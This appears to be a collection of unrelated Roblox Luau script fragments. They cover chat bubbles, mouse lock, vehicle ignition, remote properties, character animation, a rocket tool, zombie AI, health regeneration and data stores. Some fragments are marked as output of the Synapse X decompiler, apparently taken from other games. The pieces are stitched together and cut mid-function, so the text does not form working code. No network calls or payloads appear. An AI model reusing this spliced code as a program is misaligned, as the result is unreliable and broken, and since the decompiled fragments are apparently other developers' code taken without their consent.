billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.TextColor3 = CHAT_TEXT_COLOR return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.Position = UDim2.new(0,0,1,-40) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = getStringTextBounds(bubbleText.Text, CHAT_BUBBLE_FONT, CHAT_BUBBLE_FONT_SIZE_INT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.x + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo) end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = require(clientChatModules:WaitForChild("ChatSettings")) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = require(clientChatModules:WaitForChild("ChatSettings")) return chatSettings.ShowUserOwnFilteredMessage end return false end function this:CameraChanged(prop) if prop == "CoordinateFrame" then this:CameraCFrameChanged() end end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera.Changed:connect(function(prop) this:CameraChanged(prop) end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera.Changed:connect(function(prop) this:CameraChanged(prop) end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = require(clientChatModules:WaitForChild("ChatSettings")) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end local chatConstants = require(clientChatModules:WaitForChild("ChatConstants")) AllowedMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper} return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; local l__GameSettings__1 = UserSettings().GameSettings; local l__Players__2 = game:GetService("Players"); function v1.new() local v2 = setmetatable({}, v1); v2.isMouseLocked = false; v2.savedMouseCursor = nil; v2.boundKeys = { Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift }; v2.mouseLockToggledEvent = Instance.new("BindableEvent"); local v3 = script:FindFirstChild("BoundKeys"); if not v3 or not v3:IsA("StringValue") then if v3 then v3:Destroy(); end; v3 = Instance.new("StringValue"); assert(v3, ""); v3.Name = "BoundKeys"; v3.Value = "LeftShift,RightShift"; v3.Parent = script; end; if v3 then v3.Changed:Connect(function(p1) v2:OnBoundKeysObjectChanged(p1); end); v2:OnBoundKeysObjectChanged(v3.Value); end; l__GameSettings__1.Changed:Connect(function(p2) if p2 == "ControlMode" or p2 == "ComputerMovementMode" then v2:UpdateMouseLockAvailability(); end; end); l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function() v2:UpdateMouseLockAvailability(); end); l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() v2:UpdateMouseLockAvailability(); end); v2:UpdateMouseLockAvailability(); return v2; end; function v1.GetIsMouseLocked(p3) return p3.isMouseLocked; end; function v1.GetBindableToggleEvent(p4) return p4.mouseLockToggledEvent.Event; end; function v1.GetMouseLockOffset(p5) local l__CameraOffset__4 = script:FindFirstChild("CameraOffset"); if l__CameraOffset__4 and l__CameraOffset__4:IsA("Vector3Value") then return l__CameraOffset__4.Value; end; if l__CameraOffset__4 then l__CameraOffset__4:Destroy(); end; local v5 = Instance.new("Vector3Value"); assert(v5, ""); v5.Name = "CameraOffset"; v5.Value = Vector3.new(1.75, 0, 0); v5.Parent = script; if v5 and v5.Value then return v5.Value; end; return Vector3.new(1.75, 0, 0); end; function v1.UpdateMouseLockAvailability(p6) local v6 = l__Players__2.LocalPlayer.DevEnableMouseLock and (l__GameSettings__1.ControlMode == Enum.ControlMode.MouseLockSwitch and (l__GameSettings__1.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and l__Players__2.LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable)); if v6 ~= p6.enabled then p6:EnableMouseLock(v6); end; end; function v1.OnBoundKeysObjectChanged(p7, p8) p7.boundKeys = {}; local v7, v8, v9 = string.gmatch(p8, "[^%s,]+"); while true do local v10 = v7(v8, v9); if not v10 then break; end; for v11, v12 in pairs(Enum.KeyCode:GetEnumItems()) do if v10 == v12.Name then p7.boundKeys[#p7.boundKeys + 1] = v12; break; end; end; end; p7:UnbindContextActions(); p7:BindContextActions(); end; local u3 = require(script.Parent:WaitForChild("CameraUtils")); function v1.OnMouseLockToggled(p9) p9.isMouseLocked = not p9.isMouseLocked; if p9.isMouseLocked then local l__CursorImage__13 = script:FindFirstChild("CursorImage"); if l__CursorImage__13 and l__CursorImage__13:IsA("StringValue") and l__CursorImage__13.Value then u3.setMouseIconOverride(l__CursorImage__13.Value); else if l__CursorImage__13 then l__CursorImage__13:Destroy(); end; local v14 = Instance.new("StringValue"); assert(v14, ""); v14.Name = "CursorImage"; v14.Value = "rbxasset://textures/MouseLockedCursor.png"; v14.Parent = script; u3.setMouseIconOverride("rbxasset://textures/MouseLockedCursor.png"); end; else u3.restoreMouseIcon(); end; p9.mouseLockToggledEvent:Fire(); end; function v1.DoMouseLockSwitch(p10, p11, p12, p13) if p12 ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass; end; p10:OnMouseLockToggled(); return Enum.ContextActionResult.Sink; end; local l__ContextActionService__4 = game:GetService("ContextActionService"); local l__Value__5 = Enum.ContextActionPriority.Default.Value; function v1.BindContextActions(p14) l__ContextActionService__4:BindActionAtPriority("MouseLockSwitchAction", function(p15, p16, p17) return p14:DoMouseLockSwitch(p15, p16, p17); end, false, l__Value__5, unpack(p14.boundKeys)); end; function v1.UnbindContextActions(p18) l__ContextActionService__4:UnbindAction("MouseLockSwitchAction"); end; function v1.IsMouseLocked(p19) return p19.enabled and p19.isMouseLocked; end; function v1.EnableMouseLock(p20, p21) if p21 ~= p20.enabled then p20.enabled = p21; if not p20.enabled then u3.restoreMouseIcon(); p20:UnbindContextActions(); if p20.isMouseLocked then p20.mouseLockToggledEvent:Fire(); end; p20.isMouseLocked = false; return; end; else return; end; p20:BindContextActions(); end; return v1;
--== Primary logic ==--
modifierPressed = false primaryPressed = false debouncer = false inputService.InputChanged:connect(function(winput,processed) if processed == false then -- checks to see if you're focused on a textbox or not local pressedkeys = inputService:GetKeysPressed() for _, input in pairs (pressedkeys) do -- iterate all keys currently pressed if input.KeyCode == modifierKey then modifierPressed = true end if input.KeyCode == primaryKey then primaryPressed = true end if primaryPressed and modifierPressed then break end -- escapes loop end if primaryPressed == true and modifierPressed == true and debouncer == false then debouncer = true if script.Parent.IsOn.Value == false then StartCar() else StopCar() end primaryPressed = false modifierPressed = false wait(2) debouncer = false end end end) script.Parent.IsOn.Changed:Connect(function() script.Parent.IgnitionStatus.Text = script.Parent.IsOn.Value and "Engine On" or "Engine Off" end)
--[[ remoteProperty = RemoteProperty.new(value: any [, overrideClass: string]) remoteProperty:Get(): any remoteProperty:Set(value: any): void remoteProperty:Replicate(): void [Only for table values] remoteProperty:Destroy(): void remoteProperty.Changed(newValue: any): Connection --]]
local Signal = require(script.Parent.Parent.Signal) local IS_SERVER = game:GetService("RunService"):IsServer() local typeClassMap = { boolean = "BoolValue"; string = "StringValue"; table = "RemoteEvent"; CFrame = "CFrameValue"; Color3 = "Color3Value"; BrickColor = "BrickColorValue"; number = "NumberValue"; Instance = "ObjectValue"; Ray = "RayValue"; Vector3 = "Vector3Value"; ["nil"] = "ObjectValue"; } local RemoteProperty = {} RemoteProperty.__index = RemoteProperty function RemoteProperty.Is(object) return (type(object) == "table" and getmetatable(object) == RemoteProperty) end function RemoteProperty.new(value, overrideClass) assert(IS_SERVER, "RemoteProperty can only be created on the server") if (overrideClass ~= nil) then assert(type(overrideClass) == "string", "OverrideClass must be a string; got " .. type(overrideClass)) assert(overrideClass:match("Value$"), "OverrideClass must be of super type ValueBase (e.g. IntValue); got " .. overrideClass) end local t = typeof(value) local class = overrideClass or typeClassMap[t] assert(class, "RemoteProperty does not support type \"" .. t .. "\"") local self = setmetatable({ _value = value; _type = t; _isTable = (t == "table"); _object = Instance.new(class); }, RemoteProperty) if (self._isTable) then local req = Instance.new("RemoteFunction") req.Name = "TableRequest" req.Parent = self._object function req.OnServerInvoke(_player) return self._value end self.Changed = Signal.new() else self.Changed = self._object.Changed end self:Set(value) return self end function RemoteProperty:Replicate() if (self._isTable) then self:Set(self._value) end end function RemoteProperty:Set(value) if (self._isTable) then self._object:FireAllClients(value) self.Changed:Fire(value) else self._object.Value = value end self._value = value end function RemoteProperty:Get() return self._value end function RemoteProperty:Destroy() self._object:Destroy() end return RemoteProperty
-- Connection class
local Connection = {} Connection.__index = Connection export type SignalConnection = typeof(setmetatable( {} :: { _connected: boolean, _signal: ClassType, _fn: Callback, _next: SignalConnection?, }, Connection )) function Connection.new(signal: ClassType, fn: Callback): SignalConnection local self = { _connected = true, _signal = signal, _fn = fn, _next = nil, } setmetatable(self, Connection) return self end function Connection.Disconnect(self: SignalConnection) assert(self._connected, "Can't disconnect a connection twice.") self._connected = false -- Unhook the node, but DON'T clear it. That way any fire calls that are -- currently sitting on this node will be able to iterate forwards off of -- it, but any subsequent fire calls will not hit it, and it will be GCed -- when no more fire calls are sitting on it. if self._signal._handlerListHead and (self._signal._handlerListHead :: SignalConnection) == self then self._signal._handlerListHead = self._next else local prev = self._signal._handlerListHead while prev and prev._next ~= self do prev = prev._next end if prev then prev._next = self._next end end end
-- Here be dragons -- luacheck: ignore 212
local GuiService = game:GetService("GuiService") local UserInputService = game:GetService("UserInputService") local TextChatService = game:GetService("TextChatService") local Players = game:GetService("Players") local Player = Players.LocalPlayer local WINDOW_MAX_HEIGHT = 300 local MOUSE_TOUCH_ENUM = { Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2, Enum.UserInputType.Touch }
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0.5 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
----------------- --| Constants |-- -----------------
local GRAVITY_ACCELERATION = 196.2 local RELOAD_TIME = tool.Configurations.ReloadTime.Value -- Seconds until tool can be used again local ROCKET_SPEED = tool.Configurations.RocketSpeed.Value -- Speed of the projectile local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534' local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25) local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27) local RocketScript = script:WaitForChild('Rocket') local SwooshSound = script:WaitForChild('Swoosh') local BoomSound = script:WaitForChild('Boom') local attackCooldown = tool.Configurations.AttackCooldown.Value local damage = tool.Configurations.Damage.Value local reloadTime = tool.Configurations.ReloadTime.Value local function createEvent(eventName) local event = game.ReplicatedStorage:FindFirstChild(eventName) if not event then event = Instance.new("RemoteEvent", game.ReplicatedStorage) event.Name = eventName end return event end local updateEvent = createEvent("ROBLOX_RocketUpdateEvent") local equipEvent = createEvent("ROBLOX_RocketEquipEvent") local unequipEvent = createEvent("ROBLOX_RocketUnequipEvent") local fireEvent = createEvent("ROBLOX_RocketFireEvent") updateEvent.OnServerEvent:connect(function(player, neckC0, rshoulderC0) local character = player.Character character.Torso.Neck.C0 = neckC0 character.Torso:FindFirstChild("Right Shoulder").C0 = rshoulderC0 gunWeld = character:FindFirstChild("Right Arm"):WaitForChild("RightGrip") end) equipEvent.OnServerEvent:connect(function(player) player.Character.Humanoid.AutoRotate = false end) unequipEvent.OnServerEvent:connect(function(player) player.Character.Humanoid.AutoRotate = true end)
-- Initialization
for _, team in ipairs(Teams:GetTeams()) do TeamPlayers[team] = {} TeamScores[team] = 0 end
--]]
function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local zombie = script.Parent local human = getHumanoid(zombie) local hroot = zombie.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end spawn(function() while wait() do print("THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYBODY THAT USES THIS!") end end) function GetPlayersBodyParts(t) local torso = t if torso then local figure = torso.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function GetTorso(part) local chars = game.Workspace:GetChildren() local torso = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then torso = charRoot end end end return torso end for _, zambieparts in pairs(zombie:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(ZombieDamage) end end) end end
-- regeneration
function regenHealth() if regening then return end regening = true while Humanoid.Health < Humanoid.MaxHealth do local s = wait(1) local health = Humanoid.Health if health > 0 and health < Humanoid.MaxHealth then local newHealthDelta = 0.01 * s * Humanoid.MaxHealth health = health + newHealthDelta Humanoid.Health = math.min(health,Humanoid.MaxHealth) end end if Humanoid.Health > Humanoid.MaxHealth then Humanoid.Health = Humanoid.MaxHealth end regening = false end Humanoid.HealthChanged:connect(regenHealth)
-- Looks for a folder within Workspace.Terrain that contains elements to visualize casts.
local function GetFastCastVisualizationContainer() local fcVisualizationObjects = Workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME) if fcVisualizationObjects ~= nil then return fcVisualizationObjects end fcVisualizationObjects = Instance.new("Folder") fcVisualizationObjects.Name = FC_VIS_OBJ_NAME fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there. fcVisualizationObjects.Parent = Workspace.Terrain return fcVisualizationObjects end
-- Stores the data for overwrite.
function DataStoreStage:_doStore(name, value) assert(type(name) == "string" or type(name) == "number", "Bad name") assert(value ~= nil, "Bad value") local newValue if value == DataStoreDeleteToken then newValue = DataStoreDeleteToken elseif type(value) == "table" then newValue = Table.deepCopy(value) else newValue = value end if not self._dataToSave then self._dataToSave = {} end self._dataToSave[name] = newValue if self._topLevelStoreSignal then self._topLevelStoreSignal:Fire() end end return DataStoreStage
-- Script GUID: {DF19C323-8062-449F-9FBA-C521075152B8} -- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local v2 = script:FindFirstAncestor("MainUI"); local v3 = require(v2.Modules.Spring); print("Look behind you"); print("PATCH: 8/22 A2"); while true do wait(); if game.Players.LocalPlayer.Character then break; end; end; v1.char = game.Players.LocalPlayer.Character; v1.hum = v1.char:WaitForChild("Humanoid"); workspace.CurrentCamera:Destroy(); wait(); local l__TweenService__4 = game:GetService("TweenService"); v1.ax_t = 0; v1.ay_t = 0; v1.az_t = 0; v1.ax = 0; v1.ay = 0; v1.az = 0; v1.cam = workspace.CurrentCamera; v1.basecamcf = v1.cam.CFrame; v1.cam.CameraSubject = v1.char:WaitForChild("Humanoid"); v1.cam.CameraType = Enum.CameraType.Scriptable; v1.remotes = game:GetService("ReplicatedStorage"):WaitForChild("Bricks"); v1.s = { reducemotion = true }; v1.ce = {}; v1.spring = v3.new(Vector3.new(0, 0, 0)); v1.spring:__newindex("Damper", 0.5); v1.spring:__newindex("Speed", 8); v1.recoil_spring = v3.new(Vector3.new(0, 0, 0)); v1.recoil_spring:__newindex("Damper", 0.7); v1.recoil_spring:__newindex("Speed", 9); v1.hrc = false; v1.bobspring = v3.new(Vector3.new(0, 0, 0)); v1.bobspring:__newindex("Damper", 0.9); v1.bobspring:__newindex("Speed", 10); v1.crouching = false; v1.sprinting = false; v1.aiming = false; v1.holdclick = false; v1.holdjump = false; v1.freemouse = false; v1.stunned = false; v1.viewmodel = script.ViewModel; v1.spectarget = nil; v1.finalCamCFrame = nil; v1.tool = nil; v1.an = nil; v1.dead = false; v1.fakeTool = nil; v1.sightui = nil; v1.aimph = 0; v1.fovspring = 90; v1.fovtarget = 70; v1.ti = nil; v1.camlock = nil; v1.camlockHead = 0; v1.stopcam = false; v1.deathtick = tick(); v1.hideplayers = 0; v1.hotbarenabled = true; v1.tooloffset = Vector3.new(0, 0, 0); v1.chase = false; v1.hiding = false; v1.camlockedoffset = { 0, 0 }; v1.camShakerModule = require(game:GetService("ReplicatedStorage"):WaitForChild("CameraShaker")); v1.csgo = CFrame.new(0, 0, 0); v1.gd = game:GetService("ReplicatedStorage"):WaitForChild("GameData"); v1.platform = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetPlatform"))(); v1.camShaker = v1.camShakerModule.new(200, function(p1) v1.csgo = p1; end); v1.camShaker:Start(); v1.camShaker:StartShake(2, 0.5, 2, Vector3.new(0, 0, 0)); v1.camShaker:StartShake(0.5, 1, 2, Vector3.new(0, 0, 0)); for v5, v6 in pairs(script:GetChildren()) do if v6:IsA("LocalScript") then v6.Disabled = false; end; end; local l__StarterGui__7 = game:GetService("StarterGui"); l__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false); l__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, false); l__StarterGui__7:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false); v1.mouse = game.Players.LocalPlayer:GetMouse(); v1.mouse.Icon = "rbxassetid://7767604747"; if v1.char:FindFirstChild("Shirt") then v1.char.Shirt:Clone().Parent = v1.viewmodel; end; for v8, v9 in pairs(v1.viewmodel:GetChildren()) do if v9:IsA("BasePart") and v1.char:FindFirstChild(v9.Name) then v9.Color = v1.char:FindFirstChild(v9.Name).Color; end; end; for v10, v11 in pairs(script:GetChildren()) do if v11:IsA("BindableEvent") then v1.ce[v11.Name] = v11; end; end; v2:WaitForChild("MainFrame"); v2:WaitForChild("LobbyFrame").Visible = false; function v1.update() pcall(function() if v1.freemouse == true then v1.mouse.Icon = ""; else v1.mouse.Icon = "rbxassetid://2833720882"; end; if v1.freemouse or v1.dead then v2.MainFrame.Visible = false; else v2.MainFrame.Visible = true; end; if v1.dead then v1.hideplayers = -1; end; if v1.hideplayers > 1 then pcall(function() if v1.char.PrimaryPart.LocalTransparencyModifier < 1 then for v12, v13 in pairs(v1.char:GetDescendants()) do if v13:IsA("BasePart") then l__TweenService__4:Create(v13, TweenInfo.new(1), { LocalTransparencyModifier = 1 }):Play(); end; end; end; end); return; end; if v1.hideplayers < -0.1 and v1.char:FindFirstChild("Head") then if v1.char.Head.LocalTransparencyModifier > 0 then for v14, v15 in pairs(v1.char:GetDescendants()) do if v15:IsA("BasePart") then l__TweenService__4:Create(v15, TweenInfo.new(0.05), { LocalTransparencyModifier = 0 }):Play(); end; end; return; end; elseif v1.dead == false then for v16, v17 in pairs(v1.char:GetDescendants()) do if v17:IsA("BasePart") then v17.LocalTransparencyModifier = 1; if v17.Parent == v1.char or not (not v17:FindFirstAncestorOfClass("Tool")) or v17:FindFirstChildOfClass("WrapLayer") then if v17.Name == "Torso" or v17.Name == "Head" then v17.LocalTransparencyModifier = 1; else v17.LocalTransparencyModifier = 0; end; end; end; end; return; else for v18, v19 in pairs(v1.char:GetDescendants()) do if v19:IsA("BasePart") then v19.LocalTransparencyModifier = 0; end; end; end; end); end; function v1.playaudio(p2, p3, p4, p5, p6) local u1 = p6; local u2 = p5; local u3 = p2; 